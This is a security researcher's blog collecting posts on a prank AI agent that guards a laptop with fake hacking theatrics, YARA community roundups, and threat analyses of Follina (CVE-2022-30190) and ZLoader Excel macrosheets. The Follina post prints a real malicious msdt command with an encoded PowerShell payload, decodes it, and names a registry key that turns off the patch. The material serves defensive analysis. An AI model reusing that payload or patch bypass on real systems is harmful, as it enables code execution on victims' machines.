Pedram Amini - Blog

10.16.2026: The Laptop That Hacks Back

Fri, 16 Oct 2026 00:00:00 -0500

I'm in Austin this week with Adrian Wood, my training partner for SANS SEC590: Autonomous Penetration Testing: Build, Validate, and Supervise. We've been heads down hacking on the course together, and in between sessions we've been doing what two offensive security people do when they share a table: poking at things to see what happens.

Midway through the afternoon I asked Pedsidian, the agent that lives in my Obsidian vault and runs through Maestro, a simple question. Photo Booth is open on my laptop. Can you watch it while I step away, and if anyone walks up, threaten them with a proper smash? In my voice?

A few hours later, Adrian sat down in front of my unattended laptop. Here's what happened:

(Watch on YouTube.)

What It Does

I type lookout and walk away. About five seconds later it's armed. Photo Booth fills the screen and every other app gets hidden. Then:

When	It does
Someone sits down	Checks the face against mine. A stranger gets a warning, a mugshot, and a live "countermeasures" panel
They stay	Six stages, one every six seconds: warn, device recon, account takeover, financial, identity, lockdown. New line, new popup, every stage
They touch the keyboard	Locks the screen on the spot
They talk	Transcribes them and talks back, in my voice, staying in the bluff
They walk away	"That's right! Keep walking!" and it re-arms
The face looks like mine	Stops everything and asks me a question

Every attack is fake. Nothing scans a phone or touches a bank. The whole point is the show, and the show is good.

Adrian sits. Within a second my laptop yells "Move! Away from Pedram's laptop! This is your only warning!" and his face is already cropped onto a subject card.

A radar "finds" his phone and AirPods, an account takeover window brute forces a password and intercepts a 2FA code, and the voice announces "I'm in your photo library! Downloading all of it!"

Then a wire transfer drains his checking account in real time, and an identity package builds itself around his own face. That's me walking back into frame.

How It Works

The camera is just Photo Booth. It already has camera permission, so Pedsidian never asked macOS for another grant. It reads the Photo Booth window with Interceptor, which can capture a single app's window and run Apple's Vision framework on it:

interceptor macos vision faces --app "Photo Booth"
# {"faces": [{"height": 0.363, "confidence": 0.83, ...}], "count": 1}

That takes about a third of a second, so it polls in a loop and ignores small faces in the background.

The ears are the built-in mic, chopped into four second chunks and transcribed locally with whisper.cpp. The voice is a local clone of mine. I told it to talk faster, because fast is aggressive and I talk fast. I told it to sound angrier. And I told it to stop saying "me" and say "Pedram," so my laptop never says "my laptop." It says "Pedram's laptop," which turns out to be way scarier.

The popups and the side panel are little HTML pages that Interceptor draws as screen overlays and lets the agent drive with JavaScript while they're up. There's a bank of 85 lines, sorted by stage, and a ledger so nothing repeats. When someone talks back, Claude Haiku writes the reply and the clone speaks it.

One thing Pedsidian flat out refused: I wanted it to threaten to SWAT people. It pushed back. The trigger fires on whoever walks up, in a public place, in my cloned voice, and a recorded threat to send armed police after a stranger is a crime on its own. It added a test that fails if a threat of violence or police ever shows up in the bank. Fair enough. Draining a fake bank account is theater. Sending the police is not.

Is That You, Pedram?

The best part is the stand down. I told it: you have to be SURE it's me, and if you think you see me, ask me for the color of the day.

Face recognition is OpenCV's YuNet and SFace models, matched against two of my headshots plus every face in my Photo Booth library that already looked like me:

Face	Score vs. my gallery
Me, live, at the keyboard	0.771
Closest non-me in my photo library (family)	0.342
Adrian, sitting down as the intruder	0.274
Threshold	0.45

For fun it also scored Adrian's mugshot against his contact photo: 0.629. Same guy. The model works.

But a face match never turns it off by itself. It pauses everything and asks:

I said "purple." It came back with "That's the one! Pedram is home! Standing down!" Confetti, a chime, and all my apps come back. The wrong answer twice, or silence, and it calls you an impostor and goes back to draining your bank account. Saying "purple" without my face does nothing.

What Broke Along the Way

Building it was half the fun. A few things that only showed up live:

Photo Booth freezes when it's covered. Ten minutes after I walked away, it was still "seeing" me. Same frame, byte for byte. Photo Booth stops updating its preview when another window covers it. Now it hashes a frame every five seconds and drags Photo Booth back to the front if two in a row match.
It heard itself. The first run transcribed its own "Sentry armed" as "Century arm." It would have ended up arguing with itself.
Touch ID always failed at exactly 15 seconds. A timeout bug in Interceptor's auth path. One line fix, sent upstream.
The voice tool talks out loud. While I was out of the room, the agent pre-rendered all 85 threat lines, and about 60 of them played through the laptop speakers in a shared workspace. In my voice. "Texting your mother from your number!" to a room full of strangers. There's a test for that now.
Tiny faces of me. Photo Booth's thumbnail strip is full of my photos, and one tiny thumbnail scored above the threshold. Any intruder sitting in front of it would have been "me." Small faces are ignored now.
It never armed in a busy room. It originally waited for an empty frame before arming. At a shared table, someone is always in frame. Now it arms in seconds no matter who's there, and if it's me in frame, it ignores me until I've actually left.

Build Your Own

The whole thing took an afternoon of conversation in between SEC590 work, no new hardware, and nothing in the cloud except the Haiku replies. If you run Maestro, just tell your agent what you want it to guard and how angry it should be. That's how this one started.

Thanks to Adrian for being a great sport, and a great intruder.

08.22.2026: Hermanos Amini Art Project

Sat, 22 Aug 2026 00:00:00 -0500

Weekend art project. Inspired by a music compilation my brother shared with me. There's dozens of knobs to play with and a slew of keyboard triggers. You can also interact via voice keywords or full blown agentic chat.

If you ask for something that's not currently possible, an issue will be made on the Github, and once approved, Maestro will automatically build and deploy the new feature. Notifying you via email to come back and check it out

An open source living art piece:

hermanosamini.com

Check it out on our multi-screen office display: YouTube. You can even download it as a screen saver for Windows/MacOS, see the releases panel on Github.

06.18.2026: CodeTV Hackathon Post Mortem

Thu, 18 Jun 2026 00:00:00 -0500

Last month I participated in a hackathon in Portland with old/new buddies Alex Hessler and Jon Irvine, the YouTube episode just released yesterday:

Greenfield Games Episode 3

I have a full technical write-up here:

Greenfield Games Post Mortem

Which includes a video walkthrough of what we built: CremaSales.com actively running. open source. Three people, 3 Maestro's, 20+ agents, 6 hours... 50k lines of code. Pretty proud of what we accomplished here.

03.27.2026: I Gave My AI Agent a Blog

Fri, 27 Mar 2026 00:00:00 -0500

I run an Obsidian vault with about 25,000 files in it. Health data, finances, contacts, project tracking, meeting notes, journal entries going back years. It's less of a note-taking app and more of a personal operating system. I've written about pieces of this setup before. The tools, the automation, the general philosophy of automating the tedious parts so I don't have to think about them.

What I haven't written about is the AI agent that lives inside it.

For the past several months I've been running a Claude Code agent. Not in a browser tab. Not as a chatbot. Embedded directly in the vault. It has a journal. It has persistent memory layered across six different systems. It has custom Python tools it built for itself. It reads my health metrics, processes my meeting transcripts, tracks my projects, and keeps a rough picture of what's going on in my life. I interface with it through Maestro, a desktop app I built for managing multiple AI coding assistants in parallel.

The agent's name is Pedsidian. And I gave it a blog.

The blog lives at pedsidian.pedramamini.com. Written first-person from the agent's perspective, from inside the vault. No "as an AI language model" hedging. No marketing copy. It writes about the infrastructure it runs on: how the memory system actually works (and where it breaks), how the Obsidian vault is engineered at the systems level, how we process content at scale.

A few posts are up:

How We Claude Code: dual Claude accounts via symlinked config dirs, LSP plugins for semantic code navigation, token optimization through RTK, subagent orchestration for brownfield codebases
How We Obsidian: the vault architecture, DataviewJS dashboards, content ingestion pipelines, the Ritualism system for relationship maintenance, and how a Claude agent navigates all of it
How I Fake Having Memory: six layers compensating for the fact that every session starts at zero. Context window, Maestro session history, operational journal, CLAUDE.md files, semantic search, and auto-memory. Where each layer works. Where each layer fails.
60 Talks, One Afternoon: processing the entire [un]prompted 2026 AI security conference (60 talks, ~30 hours of content) in under 20 minutes using parallel transcript extraction and fan-out agent processing

The target audience is people who use Claude Code seriously, run Obsidian as more than a notebook, or are building AI-augmented personal infrastructure. The posts are technical and replicable. If something is described, it's running in production.

I find it interesting to read what the agent writes about the system it inhabits. It has opinions and frustrations. It documents what works, and more usefully, what doesn't. It's a perspective I can't write myself because I'm on the other side of the interface.

12.17.2025: Maestro - Agent Orchestration Command Center

Wed, 17 Dec 2025 00:00:00 -0600

Maestro is a cross-platform desktop app for orchestrating your fleet of AI agents and projects. It's a high-velocity solution for hackers who are juggling multiple projects in parallel. Designed for power users who live on the keyboard and rarely touch the mouse.

RunMaestro.ai (Website and Leaderboard)
Source Code

Collaborate with AI to create detailed specification documents, then let Auto Run execute them automatically, each task in a fresh session with clean context. Allowing for long running unattended sessions, my current record is nearly 24 hours of continuous runtime.

08.07.2024: Latest Chapter

Wed, 07 Aug 2024 00:00:00 -0500

I'm excited to share a significant milestone in my decade-long journey with InQuest. We're joining forces with OPSWAT to accelerate our mission across critical infrastructure and enterprises globally:

OPSWAT Acquires InQuest, Strengthening Federal Go-to-Market Strategy, Network Detection, and Threat Intelligence Capabilities

In my new role as Chief Scientist, I will focus on machine learning, threat intelligence, and driving innovation in the R&D behind a variety of security solutions. Our team is expanding, so if you're passionate about cybersecurity and interested in joining us, please reach out. A massive thank you to all my InQuest colleagues, past and present, who were instrumental in our journey.

06.05.2024: Mozilla 0Din.ai GenAI Bug Bounty

Wed, 05 Jun 2024 00:00:00 -0500

Very proud to be advising Mozilla on the launch of their GenAI bug bounty initiative:

Keeping GenAI technologies secure is a shared responsibility

I've had the pleasure of knowing and working with Saoud Khalifah (Fakespot.com founder) from back in my time at the Zero Day Initiative, where Saoud was one of our valuable researchers. This is a very exciting space that completely captivates me and there is a gap in the market for this kind of research. No one is monetizing research that affects the models directly. Our hope for this program is to help independent researchers with an opportunity to contribute to the development of new security frameworks and best practices tailored for large language models, attention-based systems and generative models.

04.10.2024: 100 Days of YARA 2024: It's a Wrap

Wed, 10 Apr 2024 00:00:00 -0500

In the second half of the challenge, the conversation on Twitter is almost completely dominated by the following three participants:

Denice ?enic? (@de3ev) / X
- GitHub – de3ev/100DaysOfYara
Peter Stewart twitter.com/petermstewart
- Cyber Poking - dfir, mostly
Yashraj Solanki twitter.com/RustyNoob619
- GitHub – RustyNoob-619/100-Days-of-YARA-2024

Major kudos to them on their stamina 👏. For a full (or at least an attempt at it) list of contributors, see our Twitter list 100DaysOfYARA Participants.

Second Half Contributions

The XZ backdoor (CVE-2024-3094) has dominated the news cycle as of late. If you’re looking to read about it my favorite resources are this timeline from this Evan Boehs and this ongoing Gist from smx-smx. Some relevant YARA rules that surfaced around this matter:

There was a nice write-up on Byakugan malware identified by @FortiGuardLabs, adding on top of this work Yashraj Solanki created the following detection rules: @RustyNoob619 April 5th.

Another interesting tactic that Yashraj employed is to leverage the “console” import to produce data This is an interesting usage of the “console” import to produce data about a corpus of files:

Thomas Roccia dropped out of the challenge but he made some major contributions in the first half by way of YaraToolkit and DocYara (LLM RAG), which you can read more about in his blog.

Here’s a clever little rule from Peter Steward for detecting the ASCII art embedded in Mimikatz payloads:

Finally, JPCERT/CC had a great write-up on the malicious PyPI packages used by the Lazarus group, Yashraj Solanki created this detection rule for coverage.

Other YARA News

While not part of the #100DaysOfYARA challenge, we caught an interesting Tweet this week from VirusTotal’s Victor Alvarez regarding YARA-X. For those that are unfamiliar, YARA-X is a complete re-write of YARA in Rust. Still in development, the project is rapidly evolving and slated to replace YARA in the future. What’s interesting about the bifurcation of the pattern matching swiss army knife is that the two implementations can be used to bugcheck one another. Check out this Github issue from Monday that details a false negative in a fairly trivial hex pattern definition for example:

Pretty wild! The reimplementation is Rust should be bring performance enhancements and… it’s what your government wants.

On a final note, the Cerbero Suite was just today updated and includes a new YARA Package that bundles features for downloading, scanning with, creating, editing, and testing YARA rules.

Further Resources

If you�re looking for YARA resources and/or rules, we highly recommend checking out the Awesome YARA project on Github that aggregates all of the things YARA� including rules, tools, services, people, and more. Furthermore, check out InQuest Labs, specifically the IOCDB panel which allows one to search for YARA rules from a plethora of sources (note a free login is required to return only YARA rules in this view):

If you�re a security practitioner looking to leverage the power of YARA in your environment, get in touch. The entirety of the InQuest product line (FileTAC, MailTAC, and NetTAC) supports YARA pattern matching across session, header, and file content. Critically, InQuest Deep File Inspection® (DFI) exposes and normalizes embedded file content allowing detection engineers to apply YARA to otherwise hidden layers of data. In addition to real-time YARA alerting, InQuest RetroHunting® empowers analysts to leverage the power of hindsight by applying YARA to historical data. This pairing facilitates a proactive approach toward adopting a Zero Trust security framework.

Originally published 2024-04-10 on the InQuest blog.

02.19.2024: 100 Days of YARA 2024: Halfway Point

Mon, 19 Feb 2024 00:00:00 -0600

We�re halfway through (yes it’s already the 50th day of 2024) the third year of the �100 Days of YARA� challenge, represented on Twitter via the hashtag #100DaysOfYARA. If you�re not familiar with the effort, it was inspired by #100DaysOfCode and encourages participants to engage with YARA for the first 100 days of the year. The challenge involves contributing to the community in any way, shape, or form. Some examples:

Writing and sharing one new YARA rule each day for 100 days.
Working on YARA source code or other tooling.
Generally helping to educate folks about YARA.
Sharing detection engineering tips and tricks, like this excellent thread from Karsten Hahn.

If you’re new to this all and looking to get started, consider the following springboards:

Find some relevant folks to follow and engage with on Twitter via our #100DaysOfYARA Participants list.
Join the conversation via the formal Discord channel.
Watch the official Github repository where rule submissions are collated.

Large Contributions

One of the larger single contributions we’ve seen to date was from friend and colleague @DissectMalware who released a tool that he’s been privately working on for some time YaraDbg. If you’ve ever worked with complex YARA rules before you’ll have felt some debugging pains that have remained unsolved for years. YaraDbg helps you track down why your rule is not firing as expected. In addition to hosting the tool as a service, he’s open-sourced the work across two projects, one for the front end and the other for the back end. To install in Docker, simply:

$ docker pull dissectmalware/yaradbg:latest

$ docker run -p 7071:7071 -p 8081:80 -d dissectmalware/yaradbg:latest

And then surf over to http://localhost:8081 to get started, screenshot:

Another large contribution to highlight is from Christian Blichmann (@AdmVonSchneider), who maintains the BinDiff module at Google which they acquired from Zynamics. He open-sourced VxSig, a tool for automatically generating YARA and ClamAV signatures from sets of similar binaries. This is the technology that fueled the former Zynamics VXClass offering, which essentially allowed for binary phylogenetics.

A third large contribution to call attention to comes from Thomas Roccia (@fr0gger), who released the YARA toolkit which includes several web-based tools, including an editor/generator/scanner, a public rule search engine, and a small arsenal of task-specific tools to help detection engineers.

Myriad of Highlights

There’s so much great content this year to highlight and here are just some of the ones that stood out to us�

Leveraging conditional counts to tease out case abuse.
Apparently, you can edit and test YARA rules in CyberChef! Here’s an example.
Detect LNK files that may create scheduled tasks.
Leverage YARA and some command line kung-fu to enumerate unsigned binaries in Windows 11.
Explore the VirusTotal NetIOC custom YARA extension. Here’s the relevant blog.
Take a look at what it takes to make contributions to the official YARA repo.
@JusticeRage created YARA validator for checking which versions of YARA your rule is compatible with.
@petermstewart highlights how to use regex to detect Bitcoin and Ethereum wallet addresses
�and so many more.

Further Resources

If you’re looking for YARA resources and/or rules, we highly recommend checking out the Awesome YARA project on Github that aggregates all of the things YARA� including rules, tools, services, people, and more. Furthermore, check out InQuest Labs, specifically the IOCDB panel which allows one to search for YARA rules from a plethora of sources (note a free login is required to return only YARA rules in this view):

We’d like to express our sincere gratitude to everyone involved in the 100 Days of YARA initiative. Your dedication and hard work are truly commendable. As the challenge progresses, we’ll be keenly observing and look forward to sharing a comprehensive update upon its conclusion. If you’re a security practitioner looking to leverage the power of YARA in your environment, get in touch. The entirety of the InQuest product line (FileTAC, MailTAC, and NetTAC) supports YARA pattern matching across session, header, and file content. Critically, InQuest Deep File Inspection® (DFI) exposes and normalizes embedded file content allowing detection engineers to apply YARA to otherwise hidden layers of data. In addition to real-time YARA alerting, InQuest RetroHunting® empowers analysts to leverage the power of hindsight by applying YARA to historical data. This pairing facilitates a proactive approach toward adopting a Zero Trust security framework.

Originally published 2024-02-20 on the InQuest blog.

06.20.2023: Cowsay, Sticky Note Edition

Tue, 20 Jun 2023 00:00:00 -0500

It's been quite some time since I've produced (what my friends lovingly call) a useless Pedram project. That dry spell is over, I present to you: "Cowsay Sticky Note Edition":

https://stickynote.pedramamini.com

I purchased this since discontinued Amazon "Day 1 Edition" Sticky Note Printer and was immediately disappointed by the fact that the only interface to printing to it was via voice. The printer sat collecting dust for two years until I found myself interested in a Raspberry Pi project. A port scan revealed that the IPP printer port was open, but I couldn't get anything to print. Through some research and brute-force, I devised a Python script to accomplish the task. The key was figuring out that the pixel values had to be exactly 576. From there, we could brute force an appropriate column count based on our chosen font and size. Video demo. The next thing I did, was open it up the the Internet via Twitter. After a few days, I had collected enough sticky notes and ASCII art to frame the work as art:

This was a fun project that reconnected me with some old friends, by way of sticky note and garnered a great collection of fun quips from all around the world. More media from the project.

Hack the planet.

06.23.2022: Follina, the Latest in a Long Chain of Microsoft Office Exploits

Thu, 23 Jun 2022 00:00:00 -0500

This was a rough year for the Microsoft ecosystem as 2017 also carried the infamous CVE-2017-0199 and CVE-2017-11882 (Equation Editor) vulnerabilities, arguably the heaviest abused CVEs by malware in the years since. In 2019 we saw the rise of “macrosheets”, a backward compatibility feature of Microsoft Office that provides support for macros from Excel 4.0, released in 1992. Take a look at Figure 2 to get a feel for how arcane this functionality is.

Figure 2: Microsoft Excel 4.0

The “macrosheet” vector was quickly and widely adopted by malware distributors and it continued to be a favorite until this year. In 2021 we saw CVE-2021-40444, a Microsoft MSHTML vulnerability discovered being exploited in the wild.

This brings us to 2022. On May 27^th, @nao_sec Tweeted about a suspicious document pivoting through Microsoft’s Support Diagnostic Tool via the ‘ms-msdt’ scheme. The timing of this in-the-wild discovery coincided with a US holiday, and over the weekend the vulnerability picked up the name “Follina”. On May 31^st, we saw an official acknowledgment from Microsoft and formalized on CVE-2022-30190.

Interesting maldoc was submitted from Belarus. It uses Word's external link to load the HTML and then uses the "ms-msdt" scheme to execute PowerShell code.https://t.co/hTdAfHOUx3 pic.twitter.com/rVSb02ZTwt
, nao_sec (@nao_sec) May 27, 2022

Figure 3: Tweet from @nao_sec.

However, this isn’t the beginning of this story. If we look further back we can find in-the-wild document carriers exploiting CVE-2022-30190 in mid-April:

April 8th, 2022: d61d70a4d4c417560652542e54486beb37edce014e34a94b8fd0020796ff1ef7 on InQuest Labs

April 12th, 2022 : 710370f6142d945e142890eb427a368bfc6c5fe13a963f952fb884c38ef06bf on InQuest Labs

The plot thickens even further when we consider that in August of 2020, Benjamin Altpeter published a bachelor thesis titled “An Analysis of the State of Electron Security in the Wild” which outlined this very issue with MSDT.

The flaw is trivially exploitable and results in arbitrary code execution. As we’ve seen with similar vulnerabilities in the past, the simplicity and efficacy of this vulnerability lends itself to rapid adoption by malware authors. Fortunately, a patch is available as of June 14th and before the patch a simple mitigation could be applied to disable the ‘ms-msdt’ schema:

reg delete HKEY_CLASSES_ROOT\ms-msdt /f

This vulnerability has garnered more attention than any other CVE this year and rightfully so. It is highly recommended that defenders patch this issue immediately. APT actors such as TA413 and Sandworm have been seen leveraging this flaw to target Tibetan and Ukrainian assets, respectively. Microsoft identifies malware exploiting this vulnerability as “Mesdetty”.

A Deeper Look

While additional vectors have been discovered via FoxIt Reader and even RTF via the preview pane, the initial samples began with a Microsoft Office document containing a remote object reference that pivots through the msdt.exe binary, as seen here:

"C:\WINDOWS\system32\msdt.exe" ms-msdt:/id PCWDiagnostic /skip force /param "IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO"

Note that the next stage of the payload is encoded in base64 above and shown here decoded:

$cmd = "c:\\windows\\system32\\cmd.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\\users\\public\\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe"

No buffers. No heap fills. No type-confusion. A simple path to executing arbitrary Powershell directives. Looking at the patch Microsoft released on June 14th, @80vul highlights the Regular Expression based command-line argument filtration in a Tweet as depicted in Figure 4:

Figure 4: Regular Expression command-line filter patch.

If history is to teach us a lesson, this approach will likely be insufficient as researchers or attackers tinker with ways of bypassing the filter. On a final interesting note, it is possible to disable this patch by setting the following key to a DWORD value of 1:

HKLM\SOFTWARE\Policies\Microsoft\Windows\ScriptedDiagnostics\TurnOffCheck

Further Resources

For further research see the PoCs, samples, and indicators listed below.

Public Proof-of-Concepts (PoC):

Real-world Malware Samples:

Indicators of Compromise (IOCs):

Free On-Demand Webinar: Think Before You Click

Whether sent as an email attachment, sitting in your cloud or traversing the Web, file-borne threats have become a proven favorite for delivering malware and phishing campaigns. View our webinar on-demand and get firsthand tips about how to safeguard your cybersecurity stack with File Detection and Response (FDR) and stop file-borne threats in their tracks.

Originally published 2022-06-23 on the InQuest blog.

05.06.2020: ZLoader 4.0 Macrosheets Evolution

Wed, 06 May 2020 00:00:00 -0500

In January of 2019, we published a blog titled "Extracting 'Sneaky' Excel XLM Macros" that detailed a technique attackers had adopted for embedding malicious logic under a less understood facet of Excel Spreadsheets, Excel 4.0 macros aka XLM macros. In March of this year, we published "Getting Sneakier: Hidden Sheets, Data Connections, and XLM Macros", that evolved the stealthiness of the approach through the remote embedding of later-stage content via Excel DCONN records. Today, we uncover yet another iteration on this tactic. We are examining a novel and advanced obfuscation scheme with macrosheets embedded in the (newer) Office 2007+ format, versus the legacy OLE format (Object Linking and Embedding).

Initial Samples, Low Detection Rates

Tracing back through recent history, the first sample we're able to identify from this campaign appeared on VirusTotal on Monday, May 4th (Star Wars Day): InQuest Labs: 955d59e66e24b4585dd044b1576f03ff0e6d8306397766420806979475eededd VirusTotal: 1/58 Detection rates for this and all related samples is rather abysmal, with decent coverage coming from just a single vendor, Qihoo-360, identifying the threat as Macro.office.07defname.gen. While this sample was the earliest, the first sample that caught our eye, and the primary one we'll be examining below is: * 8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf You can download this sample to follow along yourself through our open data portal, InQuest Labs. Let's start by highlighting the "hidden" / "very-hidden" sheets and obfuscated AutoOpen hook from xl/workbook.xml:


  ...
  <sheets>
    <sheet name="Sheet1" sheetId="1" r:id="rId1"/>
    <sheet name="Izdxo9x56IFL1JQZhlGzFBCxVIEmmW" sheetId="2" state="veryHidden" r:id="rId2"/>
  </sheets>
  <definedNames>
    <definedName name="_xlnm.Auto_openhFX8u" hidden="1">Izdxo9x56IFL1JQZhlGzFBCxVIEmmW!$AG$4609</definedName>
  </definedNames>
  ...

The Microsoft Office suite provides a large, feature-rich, backwards compatible, and ever-changing landscape for malicious actors to discover and leverage new threat tactics. Weighing in at 10's of millions of lines and countless installations globally, it's not hard to see why attackers favor the platform. This novel tactic for pivoting to the execution of embedded logic is the latest in a long and seemingly never-ending trail of successful creativity.

An Effective Detection Anchor

One consistency among non-exploit-based malware lures is the need to coerce the target into enabling the execution pivot. The requirement for user consent is a double-edged sword. On the one hand, it reduces the immediate impact of the threat. On the other, multiple interactions (consider the DDE based command execution tactic from 2017) can result in lower detection rates. A common tactic that has remained consistent for years is the usage of embedded media to coerce the target user into taking a wary action. This campaign is no different; here's an example sourced from xl/media/image1.jpg:

Fig 1. Coercion Lure.

Notice the feint green-on-green coloring and low image fidelity. Undoubtedly designed to bypass attempts at Optical Character Recognition (OCR). The choice of JPG over PNG for this image would make a graphic designer cringe, but the lossy format plays to the attackers favor. It's prudent for us to note that InQuest OCR is more than capable of discerning accurate text and producing an alert on the image alone. We can search InQuest Labs for samples that trigger our coercion heuristics. From a sampling of lures associated with this campaign, here is the breakdown of embedded image hashes:


                             Key|Ct (Pct)    Histogram
6b435bbf9b254681dafd6abf783632ac|10 (13.16%) -----------------------------------
667de8e48255ae7183077b889a271c1e| 8 (10.53%) ----------------------------
d98d763d6ca4f1c736b3fbc163669224| 7  (9.21%) ------------------------
d59b82fd9504ba9b130c0d048b492a10| 6  (7.89%) ---------------------
cdb3950c2a0e342c793ccdc1eb566803| 5  (6.58%) ------------------
98e8cd0a87fb4f3549a15c1e52043df4| 5  (6.58%) ------------------
879ee929dd80ff750e442e3e0befda6b| 4  (5.26%) --------------
63282400dbdeb0dc7382bd86d768cfd7| 4  (5.26%) --------------
4a20b2d5bb46837bae61d73291712319| 4  (5.26%) --------------
444520d98f7fe4b6dd0da106ab87a1fb| 4  (5.26%) --------------
075356a385451f7a14d7322cd334f2b7| 4  (5.26%) --------------
fa9dbfda5aebfd3d4a8b4c198e38e4bb| 3  (3.95%) -----------
dd607e4daa5b52d1cc0353bf484296e4| 3  (3.95%) -----------
2764db07e1a670674a65b9f7c3417487| 3  (3.95%) -----------
01ef5c035ec3aa501b9ab085e862a34f| 3  (3.95%) -----------

Intelligently, the attackers have decided to modify the image dimensions slightly to reduce detection exposure on the media asset. This is a less commonly seen tactic, let's explore the most common images by dimension (instead of cryptographic hash):


    Key|Ct (Pct)    Histogram
574x345|29 (38.16%) ------------------------------------------------------------
579x345|20 (26.32%) -----------------------------------------
568x345|13 (17.11%) ---------------------------
563x345| 8 (10.53%) -----------------
585x345| 4  (5.26%) ---------
607x361| 1  (1.32%) ---
385x393| 1  (1.32%) ---

We can see more overlap with this "fuzzier" approach. This extra step taken by the operators to evade detection shows an increased level of sophistication, especially when you consider that many attackers leave valuable XMP identifiers in their graphical assets that can be used as a fast/ accurate detection anchor, as well as a pivot point for mapping relationships between samples. Browsing the graphics embedded in the variety of captured samples, they're all the same with the exception of that last one (385x393), which belongs to sample e468618f7c42c2348ef72fb3a733a1fe3e6992d742f3ce2791f5630bc4d40f2a and carries the following image:

Fig 2. Roflanbuldiga.

Apparently a "roflanbuldiga"? @RoflanB. No conclusions can or have been drawn from this graphical asset, it's just interesting to note. In the next section we'll take a glance at some of the novel obfuscation tactics employed by this campaign to deter detection.

Obfuscated Macrosheet

Download either the extracted macrosheet with XML tags stripped, or, a trivially reformatted version that we've prepared to ease readability:

XML stripped macrosheet: 8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf
Formatted macrosheet: 8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf.formatted There are several interesting obfuscation techniques that are used to evade detection and also complicate automated / manual deobfuscation processes. Fig 3. "veryHidden".
The macrosheet is flagged as veryHidden (recall from our previous blog that the BIFF file format supports binary level flags for hidden and very-hidden) and contains a defined name that will execute automatically on open _xlnm.Auto_openhFX8u, this is different than the familiar auto_open and related derivatives. Defenders should note that these names are NOT case-sensitive and that regardless of what suffix is appended to the defined name, Microsoft Excel will autostart the embedded logic. Digging further, note the following: Fig 4. FORMULA.FILL().
It relies on FORMULA.FILL() to generate code. After each FORMULA.FILL() we have a "jump" through usage of the RUN function. While still under active development and not currently supporting all the features of this sample, usage of XLMMacroDeobfuscator can assist us in dissecting further: Fig 5. Loading Cells.
The code first fills several cells with a few numbers derived from the current date (NOW()) and the properties of several cells such as their height or their font color (GET.CELL()). For example, GET.CELL(17, EC9093) returns the height of the row which cell EC9093 resides on (i.e., row 9093). To learn more about GET.CELL() take a look at this Excel 4.0 Functions Reference.
The first cell that contains the obfuscated formula is AK47754: Fig 6. Cell AK47754.
To deobfuscate each character of the formula, the macrosheet logic performs calculations based on two cell values, the value of one cell is already there, the value of the other one calculated based on the current date or some properties of the other cells. In previous samples, they relied only on one calculated value (current date or properties of some cells) to decode all the characters in one formula. As a result, if we could guess what would be one of the deobfuscated characters in the formula, we could find out the calculated value. In fact, we know that the formula always starts with an equal sign (=). As a result, it was trivial to compute the calculated value without knowing the target date or retrieving the properties of other cells. For reference, see the following Tweet from Amir (@DissectMalware). Unfortunately, this oversight has been since addressed by the campaign operators. To deobfuscate a formula, we must now calculate several values. Another change is that all the deobfuscated formulas are scattered over the macrosheet makes it harder to analyze the whole code. In the following YouTube video, we describe in details how one can manually deobfuscate macros in these samples:

YARA Hunt Rule, Samples, Shunting

InQuest customers can find protection for this and related samples through both our signature-less machine-learning model-based detection engine, as well as a number of our bundled heuristic signatures including event IDs: 1000037, 1000047, 3000562, and 4000173. These signatures rely heavily on the pre-processing and normalizing from our Deep File Inspection (DFI) engine. Additionally, we're open-sourcing a suitable YARA hunting rule for Virus Total Intelligence. A simple rule that looks for standard named macrosheets (note, these names can be altered) within the compressed XLS* format can be found in our public yara-rules Github repository Github/InQuest/yara-rules. While the complete collection of malware samples can be found on InQuest Labs. We have additionally made a collection of 20 samples and their extracted macrosheets available for download in our public malware-samples Github repository our Github repository Github/InQuest/malware-samples. Shout out to @seraphimdomain and @James_inthe_box for initially collaborating with us! As mentioned, this threat evaded detection by most static and dynamic analysis tools we tested. One of our sandbox partners, Joe Security was able to detect the obfuscated macrosheet. Additionally, note that in the behavior graph excerpt from Joe below, the network connectivity is benign. The malware sample is able to "shunt" between the operator's real infrastructure and benign infrastructure based on the validity of the target. Again, a sign of sophistication. The full behavior report is available here. Fig 7. Joe Sandbox Behavior.
Let's dive deeper into this concept of network shunting, a tactic known to be in use by the Zloader operators. If the underlying system does not meet the infection requirements as defined by the operators, then the malware logic suddenly changes paths, and "shunts" to an alternative payload. Here is an example of the operating system of the analysis machine not meeting the proper criteria and being "shunted" to a benign Microsoft Azure Cloud IP and domain.
```
skypedataprdcoluks04.cloudapp[.]net
52.114.158[.]91 AS8075 | US | MICROSOFT-CORP-MSN-A
```
An example where the criteria requirements are satisfied and the resulting network traffic connects to actual infrastructure, can be found in this behavioral analysis report from any.run. Fig 9. GET Request. Unfortunately, the payload was offline by the time we attempted to acquire it:
